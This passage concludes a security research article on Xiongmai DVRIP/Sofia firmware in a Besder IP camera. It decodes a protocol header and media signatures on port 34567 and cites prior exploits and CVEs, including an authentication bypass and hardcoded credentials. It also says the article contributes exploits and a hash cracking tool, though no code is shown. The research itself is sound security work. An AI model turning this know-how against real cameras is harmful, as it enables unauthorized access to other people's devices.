- Request/response: 0x0001 (1)
- Session ID: 0x0006 (6)
- Sequence ID: 0x0000 (0)
- Unknown: 0x0000 (0)
- Command Code: 0x0584 (1412)
- Payload Length: 0x2000 (8192)
Media is being sent via port 34567 in DVRIP/Sofia protocol messages with payload length of 8192 bytes and includes:
- Audio files (indicated by
0x000001fasignature). - Video data:
* I-frames (indicated by
0x000001fcsignature). * P-frames (indicated by0x000001fdsignature). - Encoding metadata (unconfirmed, indicated by
0x000001f9signature).
Nmap does not flag any service regarding this port and information online is scarce. It is mentioned in one Github issue thread but no concrete evidence for its function is provided.
Jacob Baines - Xiongmai IoT Exploitation
Michael Imfeld - ROPing our way to RCE
0day vulnerability (backdoor) in firmware for Xiongmai-based DVRs, NVRs and IP cameras
CVE-2025-65856 Xiongmai XM530 IP Camera ONVIF Complete Authentication Bypass
Xiongmai XM530 IP Camera Hardcoded RTSP Credentials Exposure
Xiongmai Devices Unauthorized Incorrect Access Control and Command Execution
Xiongmai DVR API v1.0, Russian
Xiongmai DVR API, 2013-01-11, Chinese
DVR API, brief description, Chinese
NETIP video/audio payload protocol, Chinese
Testing of Numenworld IP camera
IP camera security horror (archived version on Wayback Machine)
In this part, a general security assesment was performed with reviewing existing vulnerabilities in Xiongmai DVRIP/Sofia binary and ONVIF implementation within a Besder 6024PB-XMA501 IP camera as well as previous efforts on reverse engineering a proprietary DVRIP/Sofia protcol. Main contributions of this article include newly created and updated exploits for existing vulnerabilities, a Sofia hash cracking tool (that supports only dictionary attacks as of now) and a Lua dissector of DVRIP/Sofia protocol for Wireshark.





















